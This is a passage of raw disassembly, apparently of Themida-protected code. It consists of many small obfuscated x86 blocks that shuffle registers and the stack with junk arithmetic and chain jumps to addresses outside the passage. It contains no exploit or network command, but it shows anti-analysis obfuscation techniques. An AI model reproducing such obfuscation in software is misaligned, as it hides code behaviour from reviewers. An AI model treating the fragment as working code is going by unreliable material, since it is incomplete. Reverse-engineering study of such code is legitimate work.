loc_5A69D8:				; CODE XREF: Themida_:00598898j
					; Themida_:00599D0Dj
		jmp	loc_5AABB3
; ---------------------------------------------------------------------------


loc_5A69DD:				; CODE XREF: Themida_:005AEA66j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		dec	cl
		jmp	loc_5A7094
; ---------------------------------------------------------------------------


loc_5A69F4:				; CODE XREF: Themida_:005AD387j
		pop	ecx
		shr	eax, 6
		shr	eax, 2
		jmp	loc_5A7536
; ---------------------------------------------------------------------------


loc_5A6A00:				; CODE XREF: Themida_:005AE9FEj
		push	4663h
		mov	[esp], ecx
		push	2
		jmp	loc_59BC39
; ---------------------------------------------------------------------------


loc_5A6A12:				; CODE XREF: Themida_:005A1111j
		pop	esp
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A6A18:				; CODE XREF: Themida_:0059B5BFj
		xor	ecx, 59158BCh
		add	eax, ecx
		jmp	loc_5A0B30
; ---------------------------------------------------------------------------


loc_5A6A25:				; CODE XREF: Themida_:0059D927j
					; Themida_:005A7884j
		sub	edi, ebp
		jmp	loc_5A6A4D
; ---------------------------------------------------------------------------


loc_5A6A2C:				; CODE XREF: Themida_:0059E926j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5A42C6
; ---------------------------------------------------------------------------


loc_5A6A3E:				; CODE XREF: Themida_:0059A86Dj
		pop	esp
		mov	[esp], ebx
		mov	ebx, 44222552h
		push	ecx
		jmp	loc_5A79C1
; ---------------------------------------------------------------------------


loc_5A6A4D:				; CODE XREF: Themida_:005A6A27j
		sub	edi, 122D5E05h
		pop	ebp
		add	edi, 3D6E12A5h
		jmp	loc_59FB83
; ---------------------------------------------------------------------------


loc_5A6A5F:				; CODE XREF: Themida_:0059C9C0j
		mov	edx, eax
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	edi
		xor	esi, edx
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		jmp	loc_5A374E
; ---------------------------------------------------------------------------


loc_5A6A86:				; CODE XREF: Themida_:005ACC73j
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A13F9
; ---------------------------------------------------------------------------


loc_5A6A92:				; CODE XREF: Themida_:005A3DE9j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_59F2BB
; ---------------------------------------------------------------------------


loc_5A6A9D:				; CODE XREF: Themida_:005A00EEj
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5A974E
; ---------------------------------------------------------------------------


loc_5A6AA6:				; CODE XREF: Themida_:005A1031j
		pop	eax
		jmp	loc_5A977A
; ---------------------------------------------------------------------------


loc_5A6AAC:				; CODE XREF: Themida_:0059BD34j
		sub	esi, ebp
		add	esi, 1A85B64h
		pop	ebp
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		not	edx
		jmp	loc_5AA97F
; ---------------------------------------------------------------------------


loc_5A6AC4:				; CODE XREF: Themida_:0059F680j
		add	edx, 31B00592h
		add	edx, eax
		sub	edx, 31B00592h
		jmp	loc_598D18
; ---------------------------------------------------------------------------


loc_5A6AD7:				; CODE XREF: Themida_:005A6302j
		sub	edx, ebp
		push	esi
		mov	esi, 7733893h
		jmp	loc_59D147
; ---------------------------------------------------------------------------


loc_5A6AE4:				; CODE XREF: Themida_:0059BFE8j
		shr	edx, 8
		jp	loc_5A8AC7
		push	ecx
		jmp	loc_5AB20C
; ---------------------------------------------------------------------------


loc_5A6AF3:				; CODE XREF: Themida_:0059DDDAj
					; Themida_:005A236Aj
		push	6751h
		jmp	loc_5A3D1C
; ---------------------------------------------------------------------------


loc_5A6AFD:				; CODE XREF: Themida_:005A841Dj
		push	ecx
		push	4C320F12h
		pop	ecx
		jmp	loc_5A3B46
; ---------------------------------------------------------------------------


loc_5A6B09:				; CODE XREF: Themida_:0059EE8Dj
		xchg	edi, ecx
		sub	ecx, 18562EE4h
		jmp	loc_598CC4
; ---------------------------------------------------------------------------


loc_5A6B16:				; CODE XREF: Themida_:005A3852j
		add	ebx, eax
		pop	eax
		dec	ebx
		jle	loc_5A3D82
		add	ebx, 0F5A70B16h
		push	edi
		mov	edi, ebx
		mov	eax, edi
		mov	edi, [esp]
		jmp	loc_5AB996
; ---------------------------------------------------------------------------


loc_5A6B33:				; CODE XREF: Themida_:0059E833j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59EAF6
; ---------------------------------------------------------------------------


loc_5A6B3E:				; CODE XREF: Themida_:0059DCE5j
		mov	[esp], edx
		jmp	loc_5A5DF1
; ---------------------------------------------------------------------------


loc_5A6B46:				; CODE XREF: Themida_:005AE977j
		sub	ebx, ebp
		jmp	loc_5A0938
; ---------------------------------------------------------------------------


loc_5A6B4D:				; CODE XREF: Themida_:005A7D0Bj
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_5A3A05
; ---------------------------------------------------------------------------


loc_5A6B58:				; CODE XREF: Themida_:005A2D88j
		add	cl, 0F8h
		add	cl, dh
		push	ebx
		jmp	loc_5A53B5
; ---------------------------------------------------------------------------


loc_5A6B63:				; CODE XREF: Themida_:005A09B5j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		and	eax, ecx
		pop	ecx
		push	dword ptr [edi+1Ch]
		jmp	loc_59AAFA
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5A7951
; ---------------------------------------------------------------------------


loc_5A6B7E:				; CODE XREF: Themida_:005A427Bj
		add	ebp, esi
		jmp	loc_5A766C
; ---------------------------------------------------------------------------


loc_5A6B85:				; CODE XREF: Themida_:0059A677j
					; Themida_:0059CA71j ...
		push	edx
		push	5EE1151Ah
		pop	edx
		sub	edx, 702F4B2Fh
		jnz	loc_59D31C
		xor	edx, 0EEB1C9E9h
		jmp	loc_59CC81
; ---------------------------------------------------------------------------
		pop	edi


loc_5A6BA4:				; CODE XREF: Themida_:005A390Dj
		xor	eax, ecx
		push	8Fh
		jmp	loc_59E387
; ---------------------------------------------------------------------------


loc_5A6BB0:				; CODE XREF: Themida_:loc_5AB6EEj
		xor	edx, 4A9E9949h
		push	6660h
		jmp	loc_59DB55
; ---------------------------------------------------------------------------


loc_5A6BC0:				; CODE XREF: Themida_:005ADB9Aj
		add	esp, 4
		jmp	loc_5A2081
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5AE9D9
; ---------------------------------------------------------------------------


loc_5A6BD4:				; CODE XREF: Themida_:005A0FFCj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5A3CBB
; ---------------------------------------------------------------------------


loc_5A6BE5:				; CODE XREF: Themida_:0059D69Bj
		mov	edx, 7A860A0Bh
		shr	edx, 5
		or	edx, 7B6D1E4Fh
		shr	edx, 1
		sub	edx, 0FFFFFFFFh
		neg	edx
		add	edx, 0A031A6ABh
		add	esi, edx
		push	dword ptr [esp]
		jmp	loc_5A4954
; ---------------------------------------------------------------------------


loc_5A6C0D:				; CODE XREF: Themida_:005A632Bj
		shl	eax, 2
		jmp	loc_5A9D85
; ---------------------------------------------------------------------------


loc_5A6C15:				; CODE XREF: Themida_:005AB406j
		add	edi, ebx
		pop	ebx
		jmp	loc_5A0231
; ---------------------------------------------------------------------------


loc_5A6C1D:				; CODE XREF: Themida_:0059FADCj
		add	esp, 4
		jmp	loc_5A7021
; ---------------------------------------------------------------------------


loc_5A6C25:				; CODE XREF: Themida_:005A870Ej
		sub	al, dh
		jmp	loc_5A3E3B
; ---------------------------------------------------------------------------


loc_5A6C2C:				; CODE XREF: Themida_:005A3434j
		jnp	loc_5A9FB0
		and	esi, 397391Bh
		jmp	loc_59E41D
; ---------------------------------------------------------------------------


loc_5A6C3D:				; CODE XREF: Themida_:loc_59E850j
		jmp	loc_5A87BE
; ---------------------------------------------------------------------------


loc_5A6C42:				; CODE XREF: Themida_:005A4EF2j
		mov	[esp], ebx
		push	ebx
		mov	ebx, 0C15190Eh
		and	ebx, 2A5A10D1h
		jmp	loc_5AAD9E
; ---------------------------------------------------------------------------


loc_5A6C56:				; CODE XREF: Themida_:loc_59A979j
					; Themida_:005A3E7Aj
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	edi
		push	0F241726h
		pop	edi
		xor	edi, 0F241722h
		push	ebx
		push	7E2h
		mov	[esp], ebp
		mov	ebp, 1E7A6D52h
		mov	ebx, 106A566Ch
		jmp	loc_5AE92E
; ---------------------------------------------------------------------------


loc_5A6C89:				; CODE XREF: Themida_:005AC921j
		mov	edx, esi
		pop	esi
		mov	ebx, 2EEB1CF2h
		jmp	loc_59A533
; ---------------------------------------------------------------------------


loc_5A6C96:				; CODE XREF: Themida_:005A21CAj
					; Themida_:005AA306j
		pop	ecx
		add	edi, 0F091B94h
		jmp	loc_5997F6
; ---------------------------------------------------------------------------


loc_5A6CA2:				; CODE XREF: Themida_:005AEFB7j
		add	ecx, 4
		sub	esp, 4
		jmp	loc_5A9479
; ---------------------------------------------------------------------------


loc_5A6CAD:				; CODE XREF: Themida_:0059D99Ej
					; Themida_:005AAF5Ej
		mov	dx, [esp]
		push	77CFh
		mov	[esp], edi
		jmp	loc_5A91D4
; ---------------------------------------------------------------------------


loc_5A6CBE:				; CODE XREF: Themida_:005AB1CAj
		pop	eax
		neg	ecx
		jmp	loc_5A2CCC
; ---------------------------------------------------------------------------


loc_5A6CC6:				; CODE XREF: Themida_:0059A974j
		mov	esi, ebx
		pop	ebx
		add	ebx, 50D6658h
		add	ebx, esi
		push	ecx
		mov	ecx, 5A60EAAh
		and	ecx, 38E07F79h
		sub	ecx, 20FC0FFBh
		xor	ecx, 0DAAE9875h
		jmp	loc_5AC2E2
; ---------------------------------------------------------------------------


loc_5A6CEE:				; CODE XREF: Themida_:005A42FDj
		add	edi, edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4B8D1DC4h
		sub	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_5AD960
; ---------------------------------------------------------------------------


loc_5A6D0C:				; CODE XREF: Themida_:0059BE92j
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_5992B0
; ---------------------------------------------------------------------------


loc_5A6D1E:				; CODE XREF: Themida_:0059BE33j
		jnp	loc_59EC21
		push	ecx
		mov	ecx, 44296A9Ch
		and	eax, ecx
		mov	ebp, esi


loc_5A6D2E:				; CODE XREF: Themida_:005A69D3j
		add	edx, 4
		jmp	loc_5AC88B
; ---------------------------------------------------------------------------


loc_5A6D39:				; CODE XREF: Themida_:005A3FEFj
		push	5A6h
		jmp	loc_5A4C0D
; ---------------------------------------------------------------------------


loc_5A6D43:				; CODE XREF: Themida_:005AA8E0j
		pop	edx
		xor	edx, eax
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A6D4B:				; CODE XREF: Themida_:005AC0F7j
		sub	ah, 0C1h
		xor	cl, ah
		pop	eax
		add	al, cl
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59EAEE
; ---------------------------------------------------------------------------


loc_5A6D61:				; CODE XREF: Themida_:0059F2B6j
		add	ebx, 1
		xor	ebx, 720D7ABBh
		push	2B3Eh
		mov	[esp], eax
		mov	eax, 31B6B126h
		jmp	loc_5AD2C8
; ---------------------------------------------------------------------------


loc_5A6D7F:				; CODE XREF: Themida_:005A08ECj
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		jmp	loc_5ACE20
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_5A238D
; ---------------------------------------------------------------------------


loc_5A6DA4:				; CODE XREF: Themida_:005AA40Bj
		pop	ebp
		jmp	loc_5A0203
; ---------------------------------------------------------------------------


loc_5A6DAA:				; CODE XREF: Themida_:0059B46Bj
		xor	ecx, 731126A7h
		jmp	loc_59A137
; ---------------------------------------------------------------------------


loc_5A6DB5:				; CODE XREF: Themida_:005AE59Ej
		pop	edx
		xor	ecx, eax
		mov	eax, [esp]
		jmp	loc_5A07A0
; ---------------------------------------------------------------------------


loc_5A6DC0:				; CODE XREF: Themida_:005A9B6Fj
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A6DC5:				; CODE XREF: Themida_:0059D9CAj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4
		add	ecx, ebp
		mov	ebp, [esp]
		push	edi
		jmp	loc_5A7575
; ---------------------------------------------------------------------------


loc_5A6DDC:				; CODE XREF: Themida_:0059EF62j
		sub	eax, ecx
		pop	ecx
		push	edx
		mov	edx, 4CD38CAh
		add	eax, 545B15A0h
		sub	eax, 3B54904h
		add	eax, edx
		add	eax, 3B54904h
		jmp	loc_59FA9C
; ---------------------------------------------------------------------------


loc_5A6DFB:				; CODE XREF: Themida_:005A7D81j
		sub	esp, 4
		jmp	loc_5A7672
; ---------------------------------------------------------------------------


loc_5A6E03:				; CODE XREF: Themida_:005A8E4Fj
					; Themida_:005AD8F4j
		push	dword ptr [esp]
		pop	edx
		push	262Ch
		mov	[esp], ebp
		mov	ebp, esp
		push	3CBAh
		mov	[esp], ebx
		mov	ebx, 50EA7827h
		sub	ebx, 1
		add	ebx, 15EF4D0Ah
		add	ebx, 729D746Ah
		add	ebx, 2688C66Ah
		add	ebp, ebx
		jmp	loc_5A4CBD
; ---------------------------------------------------------------------------


loc_5A6E3D:				; CODE XREF: Themida_:0059F829j
		pop	ecx
		shr	ecx, 5
		xor	ecx, 5CFD7A2Fh
		sub	ecx, 312B7E6Dh
		and	ecx, 129A3D7Ch
		push	edi
		mov	edi, 42933EFDh
		xor	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	7DF9h
		mov	[esp], ebp
		mov	ebp, 3E3A0B60h
		push	edx
		mov	edx, 7A700002h
		dec	edx
		jmp	loc_5AE873
; ---------------------------------------------------------------------------


loc_5A6E7A:				; CODE XREF: Themida_:005A0CA8j
		jmp	loc_599ACC
; ---------------------------------------------------------------------------


loc_5A6E7F:				; CODE XREF: Themida_:005A5D88j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A5902
; ---------------------------------------------------------------------------


loc_5A6E91:				; CODE XREF: Themida_:005A469Fj
		add	al, dh
		pop	edx
		jmp	loc_5ADC20
; ---------------------------------------------------------------------------


loc_5A6E99:				; CODE XREF: Themida_:005A5CC8j
		pop	edi
		add	edx, edi
		sub	edx, 442A2F2Dh
		jmp	loc_5A5933
; ---------------------------------------------------------------------------


loc_5A6EA7:				; CODE XREF: Themida_:005AED31j
		mov	dl, cl
		pop	ecx
		jmp	loc_5A57A6
; ---------------------------------------------------------------------------


loc_5A6EAF:				; CODE XREF: Themida_:005A3B51j
		pop	ecx
		push	edx
		mov	edx, esp
		jmp	loc_5A6250
; ---------------------------------------------------------------------------


loc_5A6EB8:				; CODE XREF: Themida_:005ABFE9j
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 4
		sub	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	2F6Dh
		mov	[esp], ebp
		jmp	loc_5A2EBC
; ---------------------------------------------------------------------------


loc_5A6EF7:				; CODE XREF: Themida_:005AC983j
		mov	ebx, 32C43045h
		dec	ebx
		dec	ebx
		sub	ebx, 23D5C9FBh
		sub	ecx, ebx
		pop	ebx
		sub	ecx, ebx
		add	ecx, 0EEE6648h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A3F65
; ---------------------------------------------------------------------------


loc_5A6F1A:				; CODE XREF: Themida_:0059FB54j
		mov	esp, [esp]
		push	ebp
		push	edx
		push	ebx
		mov	ebx, 39BB5794h
		mov	edx, 30E0254Ch
		xor	edx, ebx
		pop	ebx
		push	edx
		push	esi
		pop	edx
		pop	esi
		xor	esi, ebp
		xor	ebp, esi
		xor	esi, ebp
		not	ebp
		xchg	ebp, esi
		xchg	esi, edx
		xor	edx, 7EC27ABBh
		xor	edx, 8866F798h
		mov	ebp, edx
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A8E25
; ---------------------------------------------------------------------------


loc_5A6F5C:				; CODE XREF: Themida_:005A0709j
		push	eax
		jmp	loc_5A8167
; ---------------------------------------------------------------------------


loc_5A6F62:				; CODE XREF: Themida_:005AB8DCj
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5A3912
; ---------------------------------------------------------------------------


loc_5A6F6D:				; CODE XREF: Themida_:005999D6j
		pop	esi
		jmp	loc_59D261
; ---------------------------------------------------------------------------


loc_5A6F73:				; CODE XREF: Themida_:005A4BD6j
		push	60A1h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		push	eax
		push	332Dh
		jmp	loc_5A1023
; ---------------------------------------------------------------------------
		push	3008h
		push	6521h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	4175h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		jmp	loc_5A7568
; ---------------------------------------------------------------------------


loc_5A6FBA:				; CODE XREF: Themida_:005A40F4j
		pop	ebx
		and	edx, 639A6F85h
		not	edx
		neg	edx
		push	51D1h
		mov	[esp], esi
		jmp	loc_59DF0E
; ---------------------------------------------------------------------------


loc_5A6FD2:				; CODE XREF: Themida_:005990C8j
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_59DCD9
; ---------------------------------------------------------------------------


loc_5A6FDD:				; CODE XREF: Themida_:0059CB34j
		mov	edi, edx
		pop	edx
		add	edi, ecx
		jmp	loc_59E064
; ---------------------------------------------------------------------------


loc_5A6FE7:				; CODE XREF: Themida_:0059FBFDj
		xor	edx, 7E5B4Dh
		jl	loc_5A12E5
		jmp	loc_5986AE
; ---------------------------------------------------------------------------


loc_5A6FF8:				; CODE XREF: Themida_:005ACDD0j
		xor	edx, 7BCA0505h
		jnz	loc_59924C
		xor	edx, 0F2336367h
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		push	edx
		mov	dh, 5Bh


loc_5A7012:				; CODE XREF: Themida_:005A8986j
		mov	[esp], edx
		push	0D976A22h
		pop	edx
		push	ebx
		jmp	loc_5A8A86
; ---------------------------------------------------------------------------


loc_5A7021:				; CODE XREF: Themida_:005A6C20j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 591A4F52h
		push	edx
		mov	edx, 591A4F4Eh
		add	eax, 6EB4002Bh
		sub	eax, 3BB35BA6h
		sub	eax, edx
		add	eax, 3BB35BA6h
		jmp	loc_5AE83C
; ---------------------------------------------------------------------------


loc_5A704B:				; CODE XREF: Themida_:005A4D1Aj
		sub	eax, 50F101Bh
		sub	eax, edi
		add	eax, 50F101Bh
		jmp	loc_5AC21A
; ---------------------------------------------------------------------------


loc_5A705C:				; CODE XREF: Themida_:loc_5A819Dj
		dec	esi
		jnp	loc_5A56A8
		shr	esi, 6
		sub	esi, 0DCC57E8Ch
		inc	esi
		mov	bl, dl


loc_5A706F:				; CODE XREF: Themida_:005AD034j
		pop	esp
		jmp	loc_5A41DD
; ---------------------------------------------------------------------------


loc_5A7075:				; CODE XREF: Themida_:005A8BF6j
		add	esp, 4
		push	36A1h
		jmp	loc_5AA9FF
; ---------------------------------------------------------------------------


loc_5A7082:				; CODE XREF: Themida_:005A2ADEj
		xor	ebp, 5D952722h
		jmp	loc_5A085A
; ---------------------------------------------------------------------------


loc_5A708D:				; CODE XREF: Themida_:0059C23Bj
		add	eax, ebx
		jmp	loc_599B23
; ---------------------------------------------------------------------------


loc_5A7094:				; CODE XREF: Themida_:005A69EFj
		sub	esp, 2
		jmp	loc_5A71A8
; ---------------------------------------------------------------------------


loc_5A709F:				; CODE XREF: Themida_:00599FE6j
		mov	edi, 7B381C15h
		jmp	loc_5A7981
; ---------------------------------------------------------------------------


loc_5A70A9:				; CODE XREF: Themida_:00598569j
		mov	[esp], ebx
		mov	bh, al
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	ah, bh
		mov	dh, ah
		pop	eax
		jmp	loc_5A4053
; ---------------------------------------------------------------------------


loc_5A70C2:				; CODE XREF: Themida_:005A0723j
		push	esi
		mov	esi, 6D087A35h
		push	2674h
		jmp	loc_5A5F60
; ---------------------------------------------------------------------------


loc_5A70D2:				; CODE XREF: Themida_:005A1921j
		push	ebp
		jmp	loc_5A4874
; ---------------------------------------------------------------------------


loc_5A70D8:				; CODE XREF: Themida_:005AD656j
		push	dword ptr [esp+4]
		jmp	loc_59B1BD
; ---------------------------------------------------------------------------


loc_5A70E1:				; CODE XREF: Themida_:0059F42Cj
		push	edx
		mov	dl, 7Eh
		xor	dl, 64h
		not	dl
		jmp	loc_59D7A7
; ---------------------------------------------------------------------------


loc_5A70EE:				; CODE XREF: Themida_:0059C9DDj
		mov	ecx, esp
		jmp	loc_5A95F8
; ---------------------------------------------------------------------------


loc_5A70F5:				; CODE XREF: Themida_:0059EAC5j
		add	edx, 6E9C21B9h
		and	edx, 41A05750h
		ja	loc_59BB42
		and	edx, 213370EAh
		jmp	loc_5AAF0A
; ---------------------------------------------------------------------------


loc_5A7112:				; CODE XREF: Themida_:loc_59E074j
		and	esi, 42117B0Ah
		neg	esi
		jmp	loc_5A819D
; ---------------------------------------------------------------------------


loc_5A711F:				; CODE XREF: Themida_:0059B07Fj
					; Themida_:005A1AFAj
		mov	ebp, [esp]
		push	1CD5h
		mov	[esp], edx
		jmp	loc_5AA6D2
; ---------------------------------------------------------------------------


loc_5A712F:				; CODE XREF: Themida_:005A5AC4j
		xchg	eax, [esp]
		jmp	loc_5A4366
; ---------------------------------------------------------------------------


loc_5A7137:				; CODE XREF: Themida_:005987E9j
		jmp	loc_59A9FA
; ---------------------------------------------------------------------------


loc_5A713C:				; CODE XREF: Themida_:005A1735j
		neg	eax
		jmp	loc_5A2424
; ---------------------------------------------------------------------------


loc_5A7143:				; CODE XREF: Themida_:0059FD68j
					; Themida_:005AF27Dj
		add	edi, 0BAFD87E0h
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5A517F
; ---------------------------------------------------------------------------


loc_5A715D:				; CODE XREF: Themida_:loc_5A34F9j
		sub	al, 90h
		jg	loc_5AC6D0
		xor	al, 89h
		jnp	loc_5AD5DA
		mov	al, 6Dh
		mov	ch, al


loc_5A7171:				; CODE XREF: Themida_:0059BD7Ej
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	2DF2h
		mov	[esp], eax
		jmp	loc_5A8155
; ---------------------------------------------------------------------------


loc_5A7185:				; CODE XREF: Themida_:005A990Aj
		jmp	loc_5A2F4A
; ---------------------------------------------------------------------------


loc_5A718A:				; CODE XREF: Themida_:00598DD1j
					; Themida_:005A15BCj
		add	esp, 4
		push	6ECh
		jmp	loc_59DEC5
; ---------------------------------------------------------------------------


loc_5A719A:				; CODE XREF: Themida_:005A2D90j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A8063
; ---------------------------------------------------------------------------


loc_5A71A8:				; CODE XREF: Themida_:005A33CCj
					; Themida_:005A709Aj
		mov	[esp], ax
		push	edx
		mov	dl, cl
		jmp	loc_59AFC0
; ---------------------------------------------------------------------------


loc_5A71B4:				; CODE XREF: Themida_:005A515Dj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, 6EEB136Ah
		jmp	loc_5A13CA
; ---------------------------------------------------------------------------


loc_5A71CE:				; CODE XREF: Themida_:005ADA83j
		sub	esp, 4
		jmp	loc_5A1524
; ---------------------------------------------------------------------------


loc_5A71D6:				; CODE XREF: Themida_:0059E3D5j
		add	ecx, ebp
		push	ebp
		mov	ebp, 759C4D6Ah
		push	edi
		mov	edi, 78035DF7h
		neg	edi
		sub	edi, 7B252238h
		xor	ebp, edi
		pop	edi
		add	ecx, 7A723ED9h
		jmp	loc_59BD39
; ---------------------------------------------------------------------------


loc_5A71FA:				; CODE XREF: Themida_:005A24A5j
		push	esp
		pop	dword ptr [esp]
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_59FB51
; ---------------------------------------------------------------------------


loc_5A721E:				; CODE XREF: Themida_:005A0794j
		mov	dx, 0A1FCh
		mov	bp, dx
		pop	dx
		sub	bp, ax
		jmp	loc_5A2DFA
; ---------------------------------------------------------------------------


loc_5A722F:				; CODE XREF: Themida_:0059CACCj
		pop	ebp
		add	eax, edx
		add	eax, 565A2CD4h
		jmp	loc_5A18F4
; ---------------------------------------------------------------------------


loc_5A723C:				; CODE XREF: Themida_:0059ED1Aj
		add	esp, 4
		push	edi
		mov	edi, 51D351B3h
		jmp	loc_5A5E19
; ---------------------------------------------------------------------------


loc_5A724A:				; CODE XREF: Themida_:0059CB61j
		add	esp, 4
		add	bl, al
		push	edx
		mov	dl, 0F2h
		sub	bl, dl
		pop	edx
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	193h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_5ABA82
; ---------------------------------------------------------------------------


loc_5A726A:				; CODE XREF: Themida_:0059BF83j
		shr	bl, 4
		add	bl, 1
		shl	bl, 1
		add	bl, 0BEh
		add	al, bl
		pop	ebx
		pop	ecx
		jmp	loc_59D416
; ---------------------------------------------------------------------------


loc_5A727E:				; CODE XREF: Themida_:loc_5A6060j
		jmp	loc_5AA037
; ---------------------------------------------------------------------------


loc_5A7283:				; CODE XREF: Themida_:005A0526j
		push	2C280AFDh
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 44E82016h
		xor	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 31CF5A65h
		or	edi, edx
		pop	edx
		shr	edi, 6
		jmp	loc_5A2D59
; ---------------------------------------------------------------------------


loc_5A72B0:				; CODE XREF: Themida_:00599617j
		shl	ecx, 3
		add	ecx, 0FFFFFFFFh
		jmp	loc_59B5BC
; ---------------------------------------------------------------------------


loc_5A72BB:				; CODE XREF: Themida_:005AA09Fj
		sub	esp, 4
		jmp	loc_5A259B
; ---------------------------------------------------------------------------


loc_5A72C6:				; CODE XREF: Themida_:0059C8F6j
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_59B4E8
; ---------------------------------------------------------------------------


loc_5A72DD:				; CODE XREF: Themida_:005A52A3j
		mov	[esp], edi
		mov	edi, 1E0F1E36h
		push	ebp
		mov	ebp, 0C9C3DF7h
		sub	dword ptr [esp+8], 55FC4673h
		jmp	loc_59F3F6
; ---------------------------------------------------------------------------


loc_5A72F8:				; CODE XREF: Themida_:005AEBEBj
		add	dword ptr [esp+8], 55FC4673h
		pop	ebp
		add	[esp+4], edi
		sub	dword ptr [esp+4], 0C9C3DF7h
		pop	edi
		mov	eax, [esp]
		push	esi
		push	78F8h
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5AED17
; ---------------------------------------------------------------------------


loc_5A733F:				; CODE XREF: Themida_:00599CC3j
		sub	ecx, 3AD91FFFh
		jmp	loc_5A7F33
; ---------------------------------------------------------------------------


loc_5A734A:				; CODE XREF: Themida_:0059B4EBj
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	2738h
		mov	[esp], esi
		push	edx
		mov	edx, 4
		push	ebp
		push	edi
		mov	edi, edx
		mov	ebp, edi
		jmp	loc_5A021F
; ---------------------------------------------------------------------------


loc_5A7374:				; CODE XREF: Themida_:005A2F50j
		add	ebx, 0C102D885h
		jmp	loc_5AD5BD
; ---------------------------------------------------------------------------


loc_5A737F:				; CODE XREF: Themida_:loc_5A765Cj
		shr	ecx, 4
		js	loc_59F145
		jmp	loc_5AB8D2
; ---------------------------------------------------------------------------


loc_5A738D:				; CODE XREF: Themida_:0059AC6Cj
		pop	esi
		not	esi
		jmp	loc_5A0CF1
; ---------------------------------------------------------------------------


loc_5A7395:				; CODE XREF: Themida_:005ADE66j
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_59BA10
; ---------------------------------------------------------------------------


loc_5A73A5:				; CODE XREF: Themida_:005A1F0Bj
					; Themida_:005A55C7j
		shr	edx, 5
		add	edx, 328D1F80h
		push	edi
		jmp	loc_5ACF08
; ---------------------------------------------------------------------------


loc_5A73B4:				; CODE XREF: Themida_:005A675Ej
		sub	ecx, eax
		pop	eax
		jmp	loc_5AA671
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 68582434h, 5893h, 0E9243489h, 0FFFF6FE4h
; ---------------------------------------------------------------------------


loc_5A73D0:				; CODE XREF: Themida_:005A5DC9j
		mov	[esp], edi
		mov	edi, 5970132Ch
		shl	edi, 2
		push	esi
		mov	esi, 62A91515h
		xor	edi, esi
		pop	esi
		push	ebp
		push	esi
		mov	esi, 6F9A220Ch
		mov	ebp, 2B193923h
